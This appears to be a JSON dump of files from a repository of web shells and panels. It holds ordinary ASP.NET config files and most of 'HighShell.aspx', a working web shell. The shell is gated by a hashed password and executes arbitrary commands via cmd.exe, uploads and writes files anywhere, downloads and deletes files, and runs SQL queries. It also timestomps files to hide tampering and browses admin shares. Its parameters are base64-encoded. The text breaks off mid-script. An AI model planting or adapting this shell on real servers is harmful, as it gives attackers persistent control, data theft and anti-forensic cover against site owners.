/>\r\n        <bindingRedirect oldVersion=\"1.0.0.0-1.1.0.0\" newVersion=\"1.1.0.0\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"WebGrease\" publicKeyToken=\"31bf3856ad364e35\" />\r\n        <bindingRedirect oldVersion=\"0.0.0.0-1.5.2.14234\" newVersion=\"1.5.2.14234\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"System.Web.Helpers\" publicKeyToken=\"31bf3856ad364e35\" />\r\n        <bindingRedirect oldVersion=\"1.0.0.0-3.0.0.0\" newVersion=\"3.0.0.0\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"System.Web.WebPages\" publicKeyToken=\"31bf3856ad364e35\" />\r\n        <bindingRedirect oldVersion=\"1.0.0.0-3.0.0.0\" newVersion=\"3.0.0.0\" />\r\n      </dependentAssembly>\r\n      <dependentAssembly>\r\n        <assemblyIdentity name=\"System.Web.Mvc\" publicKeyToken=\"31bf3856ad364e35\" />\r\n        <bindingRedirect oldVersion=\"1.0.0.0-5.2.3.0\" newVersion=\"5.2.3.0\" />\r\n      </dependentAssembly>\r\n    </assemblyBinding>\r\n  </runtime>\r\n  <system.webServer>\r\n    <validation validateIntegratedModeConfiguration=\"false\" />\r\n    <modules>\r\n      <remove name=\"ApplicationInsightsWebTracking\" />\r\n      <add name=\"ApplicationInsightsWebTracking\" type=\"Microsoft.ApplicationInsights.Web.ApplicationInsightsHttpModule, Microsoft.AI.Web\" preCondition=\"managedHandler\" />\r\n    </modules>\r\n  </system.webServer>\r\n  <system.codedom>\r\n    <compilers>\r\n      <compiler language=\"c#;cs;csharp\" extension=\".cs\" type=\"Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\" warningLevel=\"4\" compilerOptions=\"/langversion:6 /nowarn:1659;1699;1701\" />\r\n      <compiler language=\"vb;vbs;visualbasic;vbscript\" extension=\".vb\" type=\"Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\" warningLevel=\"4\" compilerOptions=\"/langversion:14 /nowarn:41008 /define:_MYTYPE=\\&quot;Web\\&quot; /optionInfer+\" />\r\n    </compilers>\r\n  </system.codedom>\r\n  <entityFramework>\r\n    <defaultConnectionFactory type=\"System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework\">\r\n      <parameters>\r\n        <parameter value=\"mssqllocaldb\" />\r\n      </parameters>\r\n    </defaultConnectionFactory>\r\n    <providers>\r\n      <provider invariantName=\"System.Data.SqlClient\" type=\"System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer\" />\r\n    </providers>\r\n  </entityFramework>\r\n</configuration>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/FoxPanel/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<packages>\r\n  <package id=\"Antlr\" version=\"3.4.1.9004\" targetFramework=\"net452\" />\r\n  <package id=\"bootstrap\" version=\"3.0.0\" targetFramework=\"net452\" />\r\n  <package id=\"EntityFramework\" version=\"6.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"jQuery\" version=\"1.10.2\" targetFramework=\"net452\" />\r\n  <package id=\"jQuery.Validation\" version=\"1.11.1\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.Agent.Intercept\" version=\"2.0.6\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.DependencyCollector\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.PerfCounterCollector\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.Web\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.WindowsServer\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.ApplicationInsights.WindowsServer.TelemetryChannel\" version=\"2.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.AspNet.Mvc\" version=\"5.2.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.AspNet.Razor\" version=\"3.2.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.AspNet.Web.Optimization\" version=\"1.1.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.AspNet.WebPages\" version=\"3.2.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.CodeDom.Providers.DotNetCompilerPlatform\" version=\"1.0.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.jQuery.Unobtrusive.Validation\" version=\"3.2.3\" targetFramework=\"net452\" />\r\n  <package id=\"Microsoft.Net.Compilers\" version=\"1.3.2\" targetFramework=\"net452\" developmentDependency=\"true\" />\r\n  <package id=\"Microsoft.Web.Infrastructure\" version=\"1.0.0.0\" targetFramework=\"net452\" />\r\n  <package id=\"Modernizr\" version=\"2.6.2\" targetFramework=\"net452\" />\r\n  <package id=\"Newtonsoft.Json\" version=\"6.0.4\" targetFramework=\"net452\" />\r\n  <package id=\"Respond\" version=\"1.2.0\" targetFramework=\"net452\" />\r\n  <package id=\"WebGrease\" version=\"1.5.2\" targetFramework=\"net452\" />\r\n</packages>"
  },
  {
    "path": "Webshells_and_Panel/HighShell/HighShell.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);pro=fb(t[\"pro\"]);cmd=fb(t[\"cmd\"]);sav=fb(t[\"sav\"]);vir=t[\"vir\"];nen=fb(t[\"nen\"]);upb=fb(t[\"upb\"]);upd=fb(t[\"upd\"]);del=fb(t[\"del\"]);don=fb(t[\"don\"]);hid=t[\"hid\"];tfil=fb(t[\"tfil\"]);ttar=fb(t[\"ttar\"]);ttim=fb(t[\"ttim\"]);baseFile=t[\"baseFile\"];baseAddr=fb(t[\"baseAddr\"]);baseVir=t[\"baseVir\"];sqc=fb(t[\"sqc\"]);sqq=fb(t[\"sqq\"]);exadd=fb(t[\"exadd\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\nif(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\nelse if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %>\r\n<script runat=\"server\">\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/}\r\n    void c(string p){try{HttpCookie coo=new HttpCookie(\"p\",tb(p));coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);c();}catch(Exception e){l(e.Message);}}\r\n    bool c(){try{if(HttpContext.Current.Request.Cookies[\"p\"]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value)+salt)))==pp;if(!aut)rm();return aut;}}catch(Exception e){l(e.Message);}rm();return false;}\r\n    void u(HttpPostedFile upl, string sav, bool vir, string nen){try{if(c()){if(upl!=null&&upl.ContentLength>0){string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName):nen;string path=vir?Server.MapPath(sav):sav;string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void r(string pro, string cmd){try{if(c()){string o = exec(cmd,pro);l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}\r\n    void z(string don){try{if(c()&&!string.IsNullOrEmpty(don)){byte[] f=System.IO.File.ReadAllBytes(don);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader(\"content-length\",f.Length.ToString());t.Response.ContentType=\"application/octet-stream\";t.Response.AppendHeader(\"content-disposition\",\"attachment; filename=\"+don.Substring(don.LastIndexOf('\\\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    void sq(string sqc, string sqq){try{if(c()){if(!string.IsNullOrEmpty(sqc)){using(System.Data.SqlClient.SqlConnection con=new System.Data.SqlClient.SqlConnection(sqc)){if(string.IsNullOrEmpty(sqq)){try{con.Open();l(\"Sql Server Connection Successfuly Established\");}catch(Exception ex){l(\"Sql Server Connection Failed :\"+Environment.NewLine+ex.ToString());}}else{try{con.Open();System.Data.SqlClient.SqlCommand com=new System.Data.SqlClient.SqlCommand(sqq,con);System.Data.SqlClient.SqlDataAdapter ad=new System.Data.SqlClient.SqlDataAdapter(com);System.Data.DataTable dt=new System.Data.DataTable();ad.Fill(dt);DataGrid grid=new DataGrid();System.Web.UI.WebControls.DataList list=new System.Web.UI.WebControls.DataList();grid.DataSource=dt;grid.DataBind();log.Controls.Add(grid);}catch(Exception ex){l(\"Error : <br>\"+ex.ToString());}}con.Close();}}}}catch(Exception ex){l(ex.Message);}}\r\n    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll){log.InnerHtml=tb(ll);}\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            if (exadd.ToLower() == \"root\")\r\n            {\r\n                ret = \"{\\\"dir\\\":[\\\"\\\\\\\\\\\\\\\\localhost\\\"\";// in javascript json parser two \\ = one \\\r\n                string netUse = exec(\"net use\");\r\n                string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines)\r\n                {\r\n                    if (item.ToLower().StartsWith(\"ok\"))\r\n                    {\r\n                        int index = item.IndexOf(\"\\\\\\\\\");\r\n                        ret += \",\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"\";\r\n                    }\r\n                }\r\n                ret += \"]}\";\r\n            }\r\n            else\r\n            {\r\n                if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                {\r\n                    string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                    if (tmp == \"\\\\\\\\localhost\")\r\n                    {\r\n                        ret = \"{\\\"dir\\\":[\";\r\n                        bool isStart = false;\r\n                        foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                        {\r\n                            if (item.IsReady)\r\n                            {\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += \"\\\"\" + item.Name.TrimEnd('\\\\').TrimEnd(':') + \"$\\\"\";\r\n                                isStart = true;\r\n                            }\r\n                        }\r\n                        ret += \"]}\";\r\n                    }\r\n                    else\r\n                    {\r\n\r\n                    }\r\n                }\r\n                else // \\\\localhost\\c$\\\r\n                {\r\n                    FileAttributes attr = File.GetAttributes(exadd);\r\n                    if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                    {\r\n                        DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                        ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        FileInfo[] fis = d.GetFiles();\r\n        foreach (FileInfo fi in fis)\r\n        {\r\n            size += fi.Length;\r\n        }\r\n\r\n        DirectoryInfo[] dis = d.GetDirectories();\r\n        foreach (DirectoryInfo di in dis)\r\n        {\r\n            size += GetDirSize(di);\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"\\\"\" + dir[i].Name + \"\\\"\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" MB\";\r\n        s = s / 1024;\r\n        return Math.Round(s,2) + \" GB\";\r\n    }\r\n</script>\r\n\r\n<style>body,html{margin:0;padding:5px;direction:ltr;background:#aaa;color:#000 !important;}form{margin:0;}*{font:14px \"Lucida Console\";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type=\"text\"],input[type=\"file\"],textarea {width:60%;height:25px;background:#cbcbcb;color:#000;border:1px solid #999;margin-bottom:3px;}input[type=\"text\"]{padding:2px;}input[type=\"button\"],input[type=\"submit\"] {height:23px;}input[type=\"checkbox\"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgb(255,36,0);color:#fff;vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>\r\n<script>\r\n    function use() { var n = document; var d = n.getElementById(\"d\").innerHTML; d = d.substring(0, d.lastIndexOf('\\\\') + 1); n.getElementsByName(\"cmd\")[0].value += d; n.getElementsByName(\"sav\")[0].value += d; n.getElementsByName(\"don\")[0].value += d; }\r\n    function subm() { var mmm = document.getElementsByClassName('mmm'); for (var i = 0; i < mmm.length; i++) { mmm[i].value = b64EncodeUnicode(mmm[i].value);}}\r\n    function reset() { document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";location.href = location.pathname;}\r\n</script>\r\n<style>\r\n    div.tbbt{overflow:hidden;border:1px solid #ccc;}\r\n    div.tbbt button{background-color:inherit;float:left;border:none;outline:none;cursor:pointer;padding:14px 16px;transition: 0.3s;font-size:17px;}\r\n    div.tbbt button:hover{background-color:#ddd}\r\n    div.tbbt button.active{background-color:#ccc}\r\n    .tb{display:none;border:1px solid #ccc;border-top:none}\r\n    .loader{\r\n        border:3px solid #f3f3f3;\r\n        border-radius:50%;\r\n        border-top:3px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    #objFrame{padding:0 5px 5px 5px}\r\n    .objD {\r\n        /*background-color: #d8d808;*/\r\n        background-color: #23a4ff;\r\n        padding: 5px;\r\n        display: table;\r\n        cursor: pointer;\r\n        margin-left: 100px;\r\n    }\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objS {\r\n        position: absolute;\r\n        width: 90px;\r\n        text-align: right;\r\n        cursor: default;\r\n        background-color: #c3c3c3;\r\n        padding: 5px;\r\n        min-height:14px;\r\n    }\r\n    .objN {\r\n        display: table;\r\n        padding: 5px;\r\n        background-color: #23d7ff;\r\n        margin-left: 100px;\r\n        cursor: pointer;\r\n    }\r\n    .objB {\r\n        margin-left:3px;\r\n        padding:5px;\r\n    }\r\n    .objL{display:inline-block;margin-left:3px;}\r\n    #objLocation{padding:0 5px 0 5px;}\r\n    .objLabel {\r\n        display: inline-block;\r\n        padding: 5px;\r\n        width: 87px;\r\n        background-color: #c3c3c3;\r\n        margin-top:5px;\r\n    }\r\n    .objError {\r\n        background-color: #ff2e2e;\r\n        color: white;\r\n    }\r\n</style>\r\n<script>\r\n    var sizeArray = new Array();\r\n    function openTab(ev, nm)\r\n    {\r\n        var i, tb, tblnk;\r\n        tb = document.getElementsByClassName(\"tb\");\r\n        for (i = 0; i < tb.length; i++) {\r\n            tb[i].style.display = \"none\";\r\n        }\r\n        tblnk = document.getElementsByClassName(\"tblnk\");\r\n        for (i = 0; i < tblnk.length; i++) {\r\n            tblnk[i].className = \"tblnk\";\r\n        }\r\n        document.getElementById(nm).style.display = \"block\";\r\n        ev.currentTarget.className += \" active\";\r\n    }\r\n    function readCookie(name)\r\n    {\r\n        var nameEQ = name + \"=\";\r\n        var ca = document.cookie.split(';');\r\n        for (var i = 0; i < ca.length; i++) {\r\n            var c = ca[i];\r\n            while (c.charAt(0)==' ') c = c.substring(1, c.length);\r\n            if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);\r\n        }\r\n        return null;\r\n    }\r\n    function sendAddress()\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"inline-block\";\r\n        var address = document.getElementsByName(\"exadd\")[0].value;\r\n        var info = {\r\n            data: \"exadd=\" + b64EncodeUnicode(address),\r\n            onSuccess:function(resText){\r\n                \r\n                document.getElementById(\"loader\").style.display = \"none\";\r\n                var data = b64DecodeUnicode(resText)\r\n                makeLocation();\r\n                var Frame = document.getElementById(\"objFrame\");\r\n                Frame.innerHTML = \"\";\r\n                if(data.startsWith(\"Error\"))\r\n                {\r\n                    addError(Frame, data);\r\n                }\r\n                else\r\n                {\r\n                    var info = JSON.parse(data);\r\n                    console.log(data);\r\n                    console.log(info);\r\n                    if(info.dir)\r\n                    {\r\n                        var f = document.createElement(\"div\");\r\n                        f.className=\"objF\";\r\n       \r\n                        var s = document.createElement(\"div\");\r\n                        s.className=\"objS\";\r\n                        s.innerText = \"Get All\";\r\n                        s.style.cursor = \"pointer\";\r\n                        s.onclick = function(){getAllSize();};\r\n\r\n                        f.appendChild(s);\r\n                        Frame.appendChild(f);\r\n\r\n                        for (var i = 0; i < info.dir.length; i++)\r\n                            addFolder(Frame, info.dir[i]);\r\n                    }\r\n                    if(info.file)\r\n                        for (var i = 0; i < info.file.length; i++)\r\n                            addFile(Frame, info.file[i][0], info.file[i][1])\r\n                }\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function makeLocation()\r\n    {\r\n        var loc = document.getElementById(\"objLocation\");\r\n        loc.innerHTML = \"\";\r\n\r\n        var lbl = document.createElement(\"div\");\r\n        lbl.className = \"objLabel\";\r\n        lbl.innerText = \"Location :\";\r\n        loc.appendChild(lbl);\r\n        var curAdd = document.getElementsByName(\"exadd\")[0].value.split(\"\\\\\");\r\n        var sendLoc = \"\";\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n            sendLoc += \"\\\\\\\\\";\r\n        for (var i = 0; i < curAdd.length; i++) {\r\n            if(curAdd[i] == \"\")\r\n                continue;\r\n            sendLoc += curAdd[i] + \"\\\\\";\r\n            var o = document.createElement(\"div\");\r\n            if(i == curAdd.length - 1)\r\n                o.style.display = \"inline-block\";\r\n            else\r\n            {\r\n                o.setAttribute(\"loc\",sendLoc);\r\n                o.onclick = function(){\r\n                    document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                    sendAddress();\r\n                };\r\n                o.className = \"objD objL\";\r\n            }\r\n            o.innerText = curAdd[i] + \"\\\\\";\r\n                        \r\n            loc.appendChild(o);\r\n        }\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n        {\r\n            loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n        }\r\n        loc.lastChild.style.display = \"inline-block\";\r\n        loc.lastChild.onclick = function(){};\r\n        loc.lastChild.className = \"objB\";\r\n    }\r\n\r\n    function addError(parent, error)\r\n    {\r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD objError\";\r\n        d.innerText = error;\r\n        parent.appendChild(d);\r\n    }\r\n\r\n    function addFolder(parent, name)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n       \r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD\";\r\n        d.innerText = name;\r\n        d.onclick = function(){setAddress(this.innerText);};\r\n\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS dir\";\r\n        if(sizeArray[getCurrentAddress()+\"\\\\\"+name])\r\n            setSize(s,sizeArray[getCurrentAddress()+\"\\\\\"+name]);\r\n        else\r\n            s.innerText = \"...\";\r\n\r\n        s.style.cursor = \"pointer\";\r\n        s.onclick = function(){getSize(s,d.innerText);};\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(d);\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFile(parent, name, size)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS\";\r\n        setSize(s, size)\r\n        var n = document.createElement(\"div\");\r\n        n.className=\"objN\";\r\n        n.innerText=name;\r\n        n.onclick = function () { expDownload(this.innerText); };\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(n);\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function getCurrentAddress()\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        return address.value;\r\n    }\r\n\r\n    function expDownload(name) {\r\n        var path = getCurrentAddress() + \"\\\\\" + name;\r\n\r\n        document.getElementById(\"donInput\").value = path;\r\n        document.getElementById(\"donSubmit\").click();\r\n    }\r\n\r\n    function setAddress(name)\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        var path = name;\r\n        if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n            address.value = path;\r\n        else\r\n            address.value += \"\\\\\" + name;\r\n        sendAddress();\r\n    }\r\n\r\n    function getNextSize(alls)\r\n    {\r\n        if(alls.length > 0)\r\n        {\r\n            var s = alls[0];\r\n            alls.shift();\r\n            console.log(alls);\r\n            